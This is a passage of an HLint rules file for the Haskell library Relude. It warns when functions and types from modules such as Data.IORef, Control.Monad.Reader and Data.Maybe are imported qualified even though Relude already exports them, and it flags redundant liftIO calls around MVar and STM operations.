lhs: Control.Concurrent.MVar.tryReadMVar - name: "Use 'tryReadMVar' from Relude" - note: "'tryReadMVar' is already exported from Relude" - rhs: tryReadMVar -- warn: - lhs: Control.Concurrent.MVar.tryTakeMVar - name: "Use 'tryTakeMVar' from Relude" - note: "'tryTakeMVar' is already exported from Relude" - rhs: tryTakeMVar -- warn: - lhs: Control.Monad.STM.STM - name: "Use 'STM' from Relude" - note: "'STM' is already exported from Relude" - rhs: STM -- warn: - lhs: Control.Monad.STM.atomically - name: "Use 'atomically' from Relude" - note: "'atomically' is already exported from Relude" - rhs: atomically -- warn: - lhs: Control.Monad.STM.throwSTM - name: "Use 'throwSTM' from Relude" - note: "'throwSTM' is already exported from Relude" - rhs: throwSTM -- warn: - lhs: Control.Monad.STM.catchSTM - name: "Use 'catchSTM' from Relude" - note: "'catchSTM' is already exported from Relude" - rhs: catchSTM -- warn: - lhs: Control.Concurrent.STM.TVar.TVar - name: "Use 'TVar' from Relude" - note: "'TVar' is already exported from Relude" - rhs: TVar -- warn: - lhs: Control.Concurrent.STM.TVar.newTVarIO - name: "Use 'newTVarIO' from Relude" - note: "'newTVarIO' is already exported from Relude" - rhs: newTVarIO -- warn: - lhs: Control.Concurrent.STM.TVar.readTVarIO - name: "Use 'readTVarIO' from Relude" - note: "'readTVarIO' is already exported from Relude" - rhs: readTVarIO -- warn: - lhs: "Control.Concurrent.STM.TVar.modifyTVar'" - name: "Use 'modifyTVar'' from Relude" - note: "'modifyTVar'' is already exported from Relude" - rhs: "modifyTVar'" -- warn: - lhs: Control.Concurrent.STM.TVar.newTVar - name: "Use 'newTVar' from Relude" - note: "'newTVar' is already exported from Relude" - rhs: newTVar -- warn: - lhs: Control.Concurrent.STM.TVar.readTVar - name: "Use 'readTVar' from Relude" - note: "'readTVar' is already exported from Relude" - rhs: readTVar -- warn: - lhs: Control.Concurrent.STM.TVar.writeTVar - name: "Use 'writeTVar' from Relude" - note: "'writeTVar' is already exported from Relude" - rhs: writeTVar -- warn: - lhs: Control.Concurrent.STM.TMVar.TMVar - name: "Use 'TMVar' from Relude" - note: "'TMVar' is already exported from Relude" - rhs: TMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.newTMVar - name: "Use 'newTMVar' from Relude" - note: "'newTMVar' is already exported from Relude" - rhs: newTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.newEmptyTMVar - name: "Use 'newEmptyTMVar' from Relude" - note: "'newEmptyTMVar' is already exported from Relude" - rhs: newEmptyTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.newTMVarIO - name: "Use 'newTMVarIO' from Relude" - note: "'newTMVarIO' is already exported from Relude" - rhs: newTMVarIO -- warn: - lhs: Control.Concurrent.STM.TMVar.newEmptyTMVarIO - name: "Use 'newEmptyTMVarIO' from Relude" - note: "'newEmptyTMVarIO' is already exported from Relude" - rhs: newEmptyTMVarIO -- warn: - lhs: Control.Concurrent.STM.TMVar.takeTMVar - name: "Use 'takeTMVar' from Relude" - note: "'takeTMVar' is already exported from Relude" - rhs: takeTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.putTMVar - name: "Use 'putTMVar' from Relude" - note: "'putTMVar' is already exported from Relude" - rhs: putTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.readTMVar - name: "Use 'readTMVar' from Relude" - note: "'readTMVar' is already exported from Relude" - rhs: readTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.tryReadTMVar - name: "Use 'tryReadTMVar' from Relude" - note: "'tryReadTMVar' is already exported from Relude" - rhs: tryReadTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.swapTMVar - name: "Use 'swapTMVar' from Relude" - note: "'swapTMVar' is already exported from Relude" - rhs: swapTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.tryTakeTMVar - name: "Use 'tryTakeTMVar' from Relude" - note: "'tryTakeTMVar' is already exported from Relude" - rhs: tryTakeTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.tryPutTMVar - name: "Use 'tryPutTMVar' from Relude" - note: "'tryPutTMVar' is already exported from Relude" - rhs: tryPutTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.isEmptyTMVar - name: "Use 'isEmptyTMVar' from Relude" - note: "'isEmptyTMVar' is already exported from Relude" - rhs: isEmptyTMVar -- warn: - lhs: Control.Concurrent.STM.TMVar.mkWeakTMVar - name: "Use 'mkWeakTMVar' from Relude" - note: "'mkWeakTMVar' is already exported from Relude" - rhs: mkWeakTMVar -- warn: - lhs: Data.IORef.IORef - name: "Use 'IORef' from Relude" - note: "'IORef' is already exported from Relude" - rhs: IORef -- warn: - lhs: Data.IORef.atomicModifyIORef - name: "Use 'atomicModifyIORef' from Relude" - note: "'atomicModifyIORef' is already exported from Relude" - rhs: atomicModifyIORef -- warn: - lhs: "Data.IORef.atomicModifyIORef'" - name: "Use 'atomicModifyIORef'' from Relude" - note: "'atomicModifyIORef'' is already exported from Relude" - rhs: "atomicModifyIORef'" -- warn: - lhs: Data.IORef.atomicWriteIORef - name: "Use 'atomicWriteIORef' from Relude" - note: "'atomicWriteIORef' is already exported from Relude" - rhs: atomicWriteIORef -- warn: - lhs: Data.IORef.modifyIORef - name: "Use 'modifyIORef' from Relude" - note: "'modifyIORef' is already exported from Relude" - rhs: modifyIORef -- warn: - lhs: "Data.IORef.modifyIORef'" - name: "Use 'modifyIORef'' from Relude" - note: "'modifyIORef'' is already exported from Relude" - rhs: "modifyIORef'" -- warn: - lhs: Data.IORef.newIORef - name: "Use 'newIORef' from Relude" - note: "'newIORef' is already exported from Relude" - rhs: newIORef -- warn: - lhs: Data.IORef.readIORef - name: "Use 'readIORef' from Relude" - note: "'readIORef' is already exported from Relude" - rhs: readIORef -- warn: - lhs: Data.IORef.writeIORef - name: "Use 'writeIORef' from Relude" - note: "'writeIORef' is already exported from Relude" - rhs: writeIORef -- warn: - lhs: "atomicModifyIORef ref (\\a -> (f a, ()))" - rhs: atomicModifyIORef_ ref f -- warn: - lhs: "atomicModifyIORef ref $ \\a -> (f a, ())" - rhs: atomicModifyIORef_ ref f -- warn: - lhs: "atomicModifyIORef' ref $ \\a -> (f a, ())" - rhs: "atomicModifyIORef'_ ref f" -- warn: - lhs: "atomicModifyIORef' ref (\\a -> (f a, ()))" - rhs: "atomicModifyIORef'_ ref f" -- warn: - lhs: Data.Text.IO.getLine - name: "Use 'getLine' from Relude" - note: "'getLine' is already exported from Relude" - rhs: getLine -- warn: - lhs: System.IO.hFlush - name: "Use 'hFlush' from Relude" - note: "'hFlush' is already exported from Relude" - rhs: hFlush -- warn: - lhs: System.IO.hIsEOF - name: "Use 'hIsEOF' from Relude" - note: "'hIsEOF' is already exported from Relude" - rhs: hIsEOF -- warn: - lhs: System.IO.hSetBuffering - name: "Use 'hSetBuffering' from Relude" - note: "'hSetBuffering' is already exported from Relude" - rhs: hSetBuffering -- warn: - lhs: System.IO.hGetBuffering - name: "Use 'hGetBuffering' from Relude" - note: "'hGetBuffering' is already exported from Relude" - rhs: hGetBuffering -- warn: - lhs: System.IO.Handle - name: "Use 'Handle' from Relude" - note: "'Handle' is already exported from Relude" - rhs: Handle -- warn: - lhs: System.IO.stdin - name: "Use 'stdin' from Relude" - note: "'stdin' is already exported from Relude" - rhs: stdin -- warn: - lhs: System.IO.stdout - name: "Use 'stdout' from Relude" - note: "'stdout' is already exported from Relude" - rhs: stdout -- warn: - lhs: System.IO.stderr - name: "Use 'stderr' from Relude" - note: "'stderr' is already exported from Relude" - rhs: stderr -- warn: - lhs: System.IO.withFile - name: "Use 'withFile' from Relude" - note: "'withFile' is already exported from Relude" - rhs: withFile -- warn: - lhs: System.IO.BufferMode - name: "Use 'BufferMode' from Relude" - note: "'BufferMode' is already exported from Relude" - rhs: BufferMode -- warn: - lhs: System.Environment.getArgs - name: "Use 'getArgs' from Relude" - note: "'getArgs' is already exported from Relude" - rhs: getArgs -- warn: - lhs: System.Environment.lookupEnv - name: "Use 'lookupEnv' from Relude" - note: "'lookupEnv' is already exported from Relude" - rhs: lookupEnv -- warn: - lhs: Data.List.genericDrop - name: "Use 'genericDrop' from Relude" - note: "'genericDrop' is already exported from Relude" - rhs: genericDrop -- warn: - lhs: Data.List.genericLength - name: "Use 'genericLength' from Relude" - note: "'genericLength' is already exported from Relude" - rhs: genericLength -- warn: - lhs: Data.List.genericReplicate - name: "Use 'genericReplicate' from Relude" - note: "'genericReplicate' is already exported from Relude" - rhs: genericReplicate -- warn: - lhs: Data.List.genericSplitAt - name: "Use 'genericSplitAt' from Relude" - note: "'genericSplitAt' is already exported from Relude" - rhs: genericSplitAt -- warn: - lhs: Data.List.genericTake - name: "Use 'genericTake' from Relude" - note: "'genericTake' is already exported from Relude" - rhs: genericTake -- warn: - lhs: Data.List.group - name: "Use 'group' from Relude" - note: "'group' is already exported from Relude" - rhs: group -- warn: - lhs: Data.List.inits - name: "Use 'inits' from Relude" - note: "'inits' is already exported from Relude" - rhs: inits -- warn: - lhs: Data.List.intercalate - name: "Use 'intercalate' from Relude" - note: "'intercalate' is already exported from Relude" - rhs: intercalate -- warn: - lhs: Data.List.intersperse - name: "Use 'intersperse' from Relude" - note: "'intersperse' is already exported from Relude" - rhs: intersperse -- warn: - lhs: Data.List.isPrefixOf - name: "Use 'isPrefixOf' from Relude" - note: "'isPrefixOf' is already exported from Relude" - rhs: isPrefixOf -- warn: - lhs: Data.List.permutations - name: "Use 'permutations' from Relude" - note: "'permutations' is already exported from Relude" - rhs: permutations -- warn: - lhs: "Data.List.scanl'" - name: "Use 'scanl'' from Relude" - note: "'scanl'' is already exported from Relude" - rhs: "scanl'" -- warn: - lhs: Data.List.sort - name: "Use 'sort' from Relude" - note: "'sort' is already exported from Relude" - rhs: sort -- warn: - lhs: Data.List.sortBy - name: "Use 'sortBy' from Relude" - note: "'sortBy' is already exported from Relude" - rhs: sortBy -- warn: - lhs: Data.List.sortOn - name: "Use 'sortOn' from Relude" - note: "'sortOn' is already exported from Relude" - rhs: sortOn -- warn: - lhs: Data.List.subsequences - name: "Use 'subsequences' from Relude" - note: "'subsequences' is already exported from Relude" - rhs: subsequences -- warn: - lhs: Data.List.tails - name: "Use 'tails' from Relude" - note: "'tails' is already exported from Relude" - rhs: tails -- warn: - lhs: Data.List.transpose - name: "Use 'transpose' from Relude" - note: "'transpose' is already exported from Relude" - rhs: transpose -- warn: - lhs: Data.List.uncons - name: "Use 'uncons' from Relude" - note: "'uncons' is already exported from Relude" - rhs: uncons -- warn: - lhs: Data.List.unfoldr - name: "Use 'unfoldr' from Relude" - note: "'unfoldr' is already exported from Relude" - rhs: unfoldr -- warn: - lhs: Data.List.NonEmpty.NonEmpty - name: "Use 'NonEmpty' from Relude" - note: "'NonEmpty' is already exported from Relude" - rhs: NonEmpty -- warn: - lhs: "(Data.List.NonEmpty.:|)" - name: "Use ':|' from Relude" - note: "Operator '(:|)' is already exported from Relude" - rhs: "(:|)" -- warn: - lhs: Data.List.NonEmpty.nonEmpty - name: "Use 'nonEmpty' from Relude" - note: "'nonEmpty' is already exported from Relude" - rhs: nonEmpty -- warn: - lhs: Data.List.NonEmpty.head - name: "Use 'head' from Relude" - note: "'head' is already exported from Relude" - rhs: head -- warn: - lhs: Data.List.NonEmpty.init - name: "Use 'init' from Relude" - note: "'init' is already exported from Relude" - rhs: init -- warn: - lhs: Data.List.NonEmpty.last - name: "Use 'last' from Relude" - note: "'last' is already exported from Relude" - rhs: last -- warn: - lhs: Data.List.NonEmpty.tail - name: "Use 'tail' from Relude" - note: "'tail' is already exported from Relude" - rhs: tail -- warn: - lhs: GHC.Exts.sortWith - name: "Use 'sortWith' from Relude" - note: "'sortWith' is already exported from Relude" - rhs: sortWith -- warn: - lhs: Control.Monad.Except.ExceptT - name: "Use 'ExceptT' from Relude" - note: "'ExceptT' is already exported from Relude" - rhs: ExceptT -- warn: - lhs: Control.Monad.Except.runExceptT - name: "Use 'runExceptT' from Relude" - note: "'runExceptT' is already exported from Relude" - rhs: runExceptT -- warn: - lhs: Control.Monad.Reader.MonadReader - name: "Use 'MonadReader' from Relude" - note: "'MonadReader' is already exported from Relude" - rhs: MonadReader -- warn: - lhs: Control.Monad.Reader.Reader - name: "Use 'Reader' from Relude" - note: "'Reader' is already exported from Relude" - rhs: Reader -- warn: - lhs: Control.Monad.Reader.ReaderT - name: "Use 'ReaderT' from Relude" - note: "'ReaderT' is already exported from Relude" - rhs: ReaderT -- warn: - lhs: Control.Monad.Reader.runReaderT - name: "Use 'runReaderT' from Relude" - note: "'runReaderT' is already exported from Relude" - rhs: runReaderT -- warn: - lhs: Control.Monad.Reader.ask - name: "Use 'ask' from Relude" - note: "'ask' is already exported from Relude" - rhs: ask -- warn: - lhs: Control.Monad.Reader.asks - name: "Use 'asks' from Relude" - note: "'asks' is already exported from Relude" - rhs: asks -- warn: - lhs: Control.Monad.Reader.local - name: "Use 'local' from Relude" - note: "'local' is already exported from Relude" - rhs: local -- warn: - lhs: Control.Monad.Reader.reader - name: "Use 'reader' from Relude" - note: "'reader' is already exported from Relude" - rhs: reader -- warn: - lhs: Control.Monad.Reader.runReader - name: "Use 'runReader' from Relude" - note: "'runReader' is already exported from Relude" - rhs: runReader -- warn: - lhs: Control.Monad.Reader.withReader - name: "Use 'withReader' from Relude" - note: "'withReader' is already exported from Relude" - rhs: withReader -- warn: - lhs: Control.Monad.Reader.withReaderT - name: "Use 'withReaderT' from Relude" - note: "'withReaderT' is already exported from Relude" - rhs: withReaderT -- warn: - lhs: Control.Monad.State.Strict.MonadState - name: "Use 'MonadState' from Relude" - note: "'MonadState' is already exported from Relude" - rhs: MonadState -- warn: - lhs: Control.Monad.State.Strict.State - name: "Use 'State' from Relude" - note: "'State' is already exported from Relude" - rhs: State -- warn: - lhs: Control.Monad.State.Strict.StateT - name: "Use 'StateT' from Relude" - note: "'StateT' is already exported from Relude" - rhs: StateT -- warn: - lhs: Control.Monad.State.Strict.runStateT - name: "Use 'runStateT' from Relude" - note: "'runStateT' is already exported from Relude" - rhs: runStateT -- warn: - lhs: Control.Monad.State.Strict.evalState - name: "Use 'evalState' from Relude" - note: "'evalState' is already exported from Relude" - rhs: evalState -- warn: - lhs: Control.Monad.State.Strict.evalStateT - name: "Use 'evalStateT' from Relude" - note: "'evalStateT' is already exported from Relude" - rhs: evalStateT -- warn: - lhs: Control.Monad.State.Strict.execState - name: "Use 'execState' from Relude" - note: "'execState' is already exported from Relude" - rhs: execState -- warn: - lhs: Control.Monad.State.Strict.execStateT - name: "Use 'execStateT' from Relude" - note: "'execStateT' is already exported from Relude" - rhs: execStateT -- warn: - lhs: Control.Monad.State.Strict.get - name: "Use 'get' from Relude" - note: "'get' is already exported from Relude" - rhs: get -- warn: - lhs: Control.Monad.State.Strict.gets - name: "Use 'gets' from Relude" - note: "'gets' is already exported from Relude" - rhs: gets -- warn: - lhs: Control.Monad.State.Strict.modify - name: "Use 'modify' from Relude" - note: "'modify' is already exported from Relude" - rhs: modify -- warn: - lhs: "Control.Monad.State.Strict.modify'" - name: "Use 'modify'' from Relude" - note: "'modify'' is already exported from Relude" - rhs: "modify'" -- warn: - lhs: Control.Monad.State.Strict.put - name: "Use 'put' from Relude" - note: "'put' is already exported from Relude" - rhs: put -- warn: - lhs: Control.Monad.State.Strict.runState - name: "Use 'runState' from Relude" - note: "'runState' is already exported from Relude" - rhs: runState -- warn: - lhs: Control.Monad.State.Strict.state - name: "Use 'state' from Relude" - note: "'state' is already exported from Relude" - rhs: state -- warn: - lhs: Control.Monad.State.Strict.withState - name: "Use 'withState' from Relude" - note: "'withState' is already exported from Relude" - rhs: withState -- warn: - lhs: Control.Monad.Trans.MonadIO - name: "Use 'MonadIO' from Relude" - note: "'MonadIO' is already exported from Relude" - rhs: MonadIO -- warn: - lhs: Control.Monad.Trans.MonadTrans - name: "Use 'MonadTrans' from Relude" - note: "'MonadTrans' is already exported from Relude" - rhs: MonadTrans -- warn: - lhs: Control.Monad.Trans.lift - name: "Use 'lift' from Relude" - note: "'lift' is already exported from Relude" - rhs: lift -- warn: - lhs: Control.Monad.Trans.liftIO - name: "Use 'liftIO' from Relude" - note: "'liftIO' is already exported from Relude" - rhs: liftIO -- warn: - lhs: Control.Monad.Trans.Identity.IdentityT - name: "Use 'IdentityT' from Relude" - note: "'IdentityT' is already exported from Relude" - rhs: IdentityT -- warn: - lhs: Control.Monad.Trans.Identity.runIdentityT - name: "Use 'runIdentityT' from Relude" - note: "'runIdentityT' is already exported from Relude" - rhs: runIdentityT -- warn: - lhs: Control.Monad.Trans.Maybe.MaybeT - name: "Use 'MaybeT' from Relude" - note: "'MaybeT' is already exported from Relude" - rhs: MaybeT -- warn: - lhs: Control.Monad.Trans.Maybe.maybeToExceptT - name: "Use 'maybeToExceptT' from Relude" - note: "'maybeToExceptT' is already exported from Relude" - rhs: maybeToExceptT -- warn: - lhs: Control.Monad.Trans.Maybe.exceptToMaybeT - name: "Use 'exceptToMaybeT' from Relude" - note: "'exceptToMaybeT' is already exported from Relude" - rhs: exceptToMaybeT -- warn: - lhs: Control.Monad.MonadPlus - name: "Use 'MonadPlus' from Relude" - note: "'MonadPlus' is already exported from Relude" - rhs: MonadPlus -- warn: - lhs: Control.Monad.mzero - name: "Use 'mzero' from Relude" - note: "'mzero' is already exported from Relude" - rhs: mzero -- warn: - lhs: Control.Monad.mplus - name: "Use 'mplus' from Relude" - note: "'mplus' is already exported from Relude" - rhs: mplus -- warn: - lhs: Control.Monad.filterM - name: "Use 'filterM' from Relude" - note: "'filterM' is already exported from Relude" - rhs: filterM -- warn: - lhs: Control.Monad.forever - name: "Use 'forever' from Relude" - note: "'forever' is already exported from Relude" - rhs: forever -- warn: - lhs: Control.Monad.join - name: "Use 'join' from Relude" - note: "'join' is already exported from Relude" - rhs: join -- warn: - lhs: Control.Monad.mapAndUnzipM - name: "Use 'mapAndUnzipM' from Relude" - note: "'mapAndUnzipM' is already exported from Relude" - rhs: mapAndUnzipM -- warn: - lhs: Control.Monad.mfilter - name: "Use 'mfilter' from Relude" - note: "'mfilter' is already exported from Relude" - rhs: mfilter -- warn: - lhs: Control.Monad.replicateM - name: "Use 'replicateM' from Relude" - note: "'replicateM' is already exported from Relude" - rhs: replicateM -- warn: - lhs: Control.Monad.replicateM_ - name: "Use 'replicateM_' from Relude" - note: "'replicateM_' is already exported from Relude" - rhs: replicateM_ -- warn: - lhs: Control.Monad.zipWithM - name: "Use 'zipWithM' from Relude" - note: "'zipWithM' is already exported from Relude" - rhs: zipWithM -- warn: - lhs: Control.Monad.zipWithM_ - name: "Use 'zipWithM_' from Relude" - note: "'zipWithM_' is already exported from Relude" - rhs: zipWithM_ -- warn: - lhs: "(Control.Monad.<$!>)" - name: "Use '<$!>' from Relude" - note: "Operator '(<$!>)' is already exported from Relude" - rhs: "(<$!>)" -- warn: - lhs: "(Control.Monad.<=<)" - name: "Use '<=<' from Relude" - note: "Operator '(<=<)' is already exported from Relude" - rhs: "(<=<)" -- warn: - lhs: "(Control.Monad.=<<)" - name: "Use '=<<' from Relude" - note: "Operator '(=<<)' is already exported from Relude" - rhs: "(=<<)" -- warn: - lhs: "(Control.Monad.>=>)" - name: "Use '>=>' from Relude" - note: "Operator '(>=>)' is already exported from Relude" - rhs: "(>=>)" -- warn: - lhs: Control.Monad.Fail.MonadFail - name: "Use 'MonadFail' from Relude" - note: "'MonadFail' is already exported from Relude" - rhs: MonadFail -- warn: - lhs: Data.Maybe.catMaybes - name: "Use 'catMaybes' from Relude" - note: "'catMaybes' is already exported from Relude" - rhs: catMaybes -- warn: - lhs: Data.Maybe.fromMaybe - name: "Use 'fromMaybe' from Relude" - note: "'fromMaybe' is already exported from Relude" - rhs: fromMaybe -- warn: - lhs: Data.Maybe.isJust - name: "Use 'isJust' from Relude" - note: "'isJust' is already exported from Relude" - rhs: isJust -- warn: - lhs: Data.Maybe.isNothing - name: "Use 'isNothing' from Relude" - note: "'isNothing' is already exported from Relude" - rhs: isNothing -- warn: - lhs: Data.Maybe.listToMaybe - name: "Use 'listToMaybe' from Relude" - note: "'listToMaybe' is already exported from Relude" - rhs: listToMaybe -- warn: - lhs: Data.Maybe.mapMaybe - name: "Use 'mapMaybe' from Relude" - note: "'mapMaybe' is already exported from Relude" - rhs: mapMaybe -- warn: - lhs: Data.Maybe.maybeToList - name: "Use 'maybeToList' from Relude" - note: "'maybeToList' is already exported from Relude" - rhs: maybeToList -- warn: - lhs: Data.Either.isLeft - name: "Use 'isLeft' from Relude" - note: "'isLeft' is already exported from Relude" - rhs: isLeft -- warn: - lhs: Data.Either.isRight - name: "Use 'isRight' from Relude" - note: "'isRight' is already exported from Relude" - rhs: isRight -- warn: - lhs: Data.Either.lefts - name: "Use 'lefts' from Relude" - note: "'lefts' is already exported from Relude" - rhs: lefts -- warn: - lhs: Data.Either.partitionEithers - name: "Use 'partitionEithers' from Relude" - note: "'partitionEithers' is already exported from Relude" - rhs: partitionEithers -- warn: - lhs: Data.Either.rights - name: "Use 'rights' from Relude" - note: "'rights' is already exported from Relude" - rhs: rights -- warn: - lhs: Data.Monoid.All - name: "Use 'All' from Relude" - note: "'All' is already exported from Relude" - rhs: All -- warn: - lhs: Data.Monoid.getAll - name: "Use 'getAll' from Relude" - note: "'getAll' is already exported from Relude" - rhs: getAll -- warn: - lhs: Data.Monoid.Alt - name: "Use 'Alt' from Relude" - note: "'Alt' is already exported from Relude" - rhs: Alt -- warn: - lhs: Data.Monoid.getAlt - name: "Use 'getAlt' from Relude" - note: "'getAlt' is already exported from Relude" - rhs: getAlt -- warn: - lhs: Data.Monoid.Any - name: "Use 'Any' from Relude" - note: "'Any' is already exported from Relude" - rhs: Any -- warn: - lhs: Data.Monoid.getAny - name: "Use 'getAny' from Relude" - note: "'getAny' is already exported from Relude" - rhs: getAny -- warn: - lhs: Data.Monoid.Ap - name: "Use 'Ap' from Relude" - note: "'Ap' is already exported from Relude" - rhs: Ap -- warn: - lhs: Data.Monoid.getAp - name: "Use 'getAp' from Relude" - note: "'getAp' is already exported from Relude" - rhs: getAp -- warn: - lhs: Data.Monoid.Dual - name: "Use 'Dual' from Relude" - note: "'Dual' is already exported from Relude" - rhs: Dual -- warn: - lhs: Data.Monoid.getDual - name: "Use 'getDual' from Relude" - note: "'getDual' is already exported from Relude" - rhs: getDual -- warn: - lhs: Data.Monoid.Endo - name: "Use 'Endo' from Relude" - note: "'Endo' is already exported from Relude" - rhs: Endo -- warn: - lhs: Data.Monoid.appEndo - name: "Use 'appEndo' from Relude" - note: "'appEndo' is already exported from Relude" - rhs: appEndo -- warn: - lhs: Data.Monoid.First - name: "Use 'First' from Relude" - note: "'First' is already exported from Relude" - rhs: First -- warn: - lhs: Data.Monoid.getFirst - name: "Use 'getFirst' from Relude" - note: "'getFirst' is already exported from Relude" - rhs: getFirst -- warn: - lhs: Data.Monoid.Last - name: "Use 'Last' from Relude" - note: "'Last' is already exported from Relude" - rhs: Last -- warn: - lhs: Data.Monoid.getLast - name: "Use 'getLast' from Relude" - note: "'getLast' is already exported from Relude" - rhs: getLast -- warn: - lhs: Data.Monoid.Product - name: "Use 'Product' from Relude" - note: "'Product' is already exported from Relude" - rhs: Product -- warn: - lhs: Data.Monoid.getProduct - name: "Use 'getProduct' from Relude" - note: "'getProduct' is already exported from Relude" - rhs: getProduct -- warn: - lhs: Data.Monoid.Sum - name: "Use 'Sum' from Relude" - note: "'Sum' is already exported from Relude" - rhs: Sum -- warn: - lhs: Data.Monoid.getSum - name: "Use 'getSum' from Relude" - note: "'getSum' is already exported from Relude" - rhs: getSum -- warn: - lhs: Data.Semigroup.Semigroup - name: "Use 'Semigroup' from Relude" - note: "'Semigroup' is already exported from Relude" - rhs: Semigroup -- warn: - lhs: Data.Semigroup.sconcat - name: "Use 'sconcat' from Relude" - note: "'sconcat' is already exported from Relude" - rhs: sconcat -- warn: - lhs: Data.Semigroup.stimes - name: "Use 'stimes' from Relude" - note: "'stimes' is already exported from Relude" - rhs: stimes -- warn: - lhs: "(Data.Semigroup.<>)" - name: "Use '<>' from Relude" - note: "Operator '(<>)' is already exported from Relude" - rhs: "(<>)" -- warn: - lhs: Data.Semigroup.WrappedMonoid - name: "Use 'WrappedMonoid' from Relude" - note: "'WrappedMonoid' is already exported from Relude" - rhs: WrappedMonoid -- warn: - lhs: Data.Semigroup.cycle1 - name: "Use 'cycle1' from Relude" - note: "'cycle1' is already exported from Relude" - rhs: cycle1 -- warn: - lhs: Data.Semigroup.mtimesDefault - name: "Use 'mtimesDefault' from Relude" - note: "'mtimesDefault' is already exported from Relude" - rhs: mtimesDefault -- warn: - lhs: Data.Semigroup.stimesIdempotent - name: "Use 'stimesIdempotent' from Relude" - note: "'stimesIdempotent' is already exported from Relude" - rhs: stimesIdempotent -- warn: - lhs: Data.Semigroup.stimesIdempotentMonoid - name: "Use 'stimesIdempotentMonoid' from Relude" - note: "'stimesIdempotentMonoid' is already exported from Relude" - rhs: stimesIdempotentMonoid -- warn: - lhs: Data.Semigroup.stimesMonoid - name: "Use 'stimesMonoid' from Relude" - note: "'stimesMonoid' is already exported from Relude" - rhs: stimesMonoid -- warn: - lhs: Data.ByteString.ByteString - name: "Use 'ByteString' from Relude" - note: "'ByteString' is already exported from Relude" - rhs: ByteString -- warn: - lhs: Data.ByteString.Short.ShortByteString - name: "Use 'ShortByteString' from Relude" - note: "'ShortByteString' is already exported from Relude" - rhs: ShortByteString -- warn: - lhs: Data.ByteString.Short.toShort - name: "Use 'toShort' from Relude" - note: "'toShort' is already exported from Relude" - rhs: toShort -- warn: - lhs: Data.ByteString.Short.fromShort - name: "Use 'fromShort' from Relude" - note: "'fromShort' is already exported from Relude" - rhs: fromShort -- warn: - lhs: Data.String.IsString - name: "Use 'IsString' from Relude" - note: "'IsString' is already exported from Relude" - rhs: IsString -- warn: - lhs: Data.String.fromString - name: "Use 'fromString' from Relude" - note: "'fromString' is already exported from Relude" - rhs: fromString -- warn: - lhs: Data.Text.Text - name: "Use 'Text' from Relude" - note: "'Text' is already exported from Relude" - rhs: Text -- warn: - lhs: Data.Text.lines - name: "Use 'lines' from Relude" - note: "'lines' is already exported from Relude" - rhs: lines -- warn: - lhs: Data.Text.unlines - name: "Use 'unlines' from Relude" - note: "'unlines' is already exported from Relude" - rhs: unlines -- warn: - lhs: Data.Text.words - name: "Use 'words' from Relude" - note: "'words' is already exported from Relude" - rhs: words -- warn: - lhs: Data.Text.unwords - name: "Use 'unwords' from Relude" - note: "'unwords' is already exported from Relude" - rhs: unwords -- warn: - lhs: "Data.Text.Encoding.decodeUtf8'" - name: "Use 'decodeUtf8'' from Relude" - note: "'decodeUtf8'' is already exported from Relude" - rhs: "decodeUtf8'" -- warn: - lhs: Data.Text.Encoding.decodeUtf8With - name: "Use 'decodeUtf8With' from Relude" - note: "'decodeUtf8With' is already exported from Relude" - rhs: decodeUtf8With -- warn: - lhs: Data.Text.Encoding.Error.OnDecodeError - name: "Use 'OnDecodeError' from Relude" - note: "'OnDecodeError' is already exported from Relude" - rhs: OnDecodeError -- warn: - lhs: Data.Text.Encoding.Error.OnError - name: "Use 'OnError' from Relude" - note: "'OnError' is already exported from Relude" - rhs: OnError -- warn: - lhs: Data.Text.Encoding.Error.UnicodeException - name: "Use 'UnicodeException' from Relude" - note: "'UnicodeException' is already exported from Relude" - rhs: UnicodeException -- warn: - lhs: Data.Text.Encoding.Error.lenientDecode - name: "Use 'lenientDecode' from Relude" - note: "'lenientDecode' is already exported from Relude" - rhs: lenientDecode -- warn: - lhs: Data.Text.Encoding.Error.strictDecode - name: "Use 'strictDecode' from Relude" - note: "'strictDecode' is already exported from Relude" - rhs: strictDecode -- warn: - lhs: Text.Read.Read - name: "Use 'Read' from Relude" - note: "'Read' is already exported from Relude" - rhs: Read -- warn: - lhs: Text.Read.readMaybe - name: "Use 'readMaybe' from Relude" - note: "'readMaybe' is already exported from Relude" - rhs: readMaybe -- warn: - lhs: "(liftIO (newEmptyMVar ))" - name: "'liftIO' is not needed" - note: "If you import 'newEmptyMVar' from Relude, it's already lifted" - rhs: newEmptyMVar -- warn: - lhs: "(liftIO (newMVar x))" - name: "'liftIO' is not needed" - note: "If you import 'newMVar' from Relude, it's already lifted" - rhs: newMVar -- warn: - lhs: "(liftIO (putMVar x y))" - name: "'liftIO' is not needed" - note: "If you import 'putMVar' from Relude, it's already lifted" - rhs: putMVar -- warn: - lhs: "(liftIO (readMVar x))" - name: "'liftIO' is not needed" - note: "If you import 'readMVar' from Relude, it's already lifted" - rhs: readMVar -- warn: - lhs: "(liftIO (swapMVar x y))" - name: "'liftIO' is not needed" - note: "If you import 'swapMVar' from Relude, it's already lifted" - rhs: swapMVar -- warn: - lhs: "(liftIO (takeMVar x))" - name: "'liftIO' is not needed" - note: "If you import 'takeMVar' from Relude, it's already lifted" - rhs: takeMVar -- warn: - lhs: "(liftIO (tryPutMVar x y))" - name: "'liftIO' is not needed" - note: "If you import 'tryPutMVar' from Relude, it's already lifted" - rhs: tryPutMVar -- warn: - lhs: "(liftIO (tryReadMVar x))" - name: "'liftIO' is not needed" - note: "If you import 'tryReadMVar' from Relude, it's already lifted" - rhs: tryReadMVar -- warn: - lhs: "(liftIO (tryTakeMVar x))" - name: "'liftIO' is not needed" - note: "If you import 'tryTakeMVar' from Relude, it's already lifted" - rhs: tryTakeMVar -- warn: - lhs: "(liftIO (atomically x))" - name: "'liftIO' is not needed" - note: "If you import 'atomically' from Relude, it's already lifted" - rhs: atomically -- warn: - lhs: "(liftIO (newTVarIO x))" - name: "'liftIO' is not needed" - note: "If you import 'newTVarIO' from Relude, it's already lifted" - rhs: newTVarIO -- warn: - lhs: "(liftIO (readTVarIO x))" - name: "'liftIO' is not needed" - note: "If you import 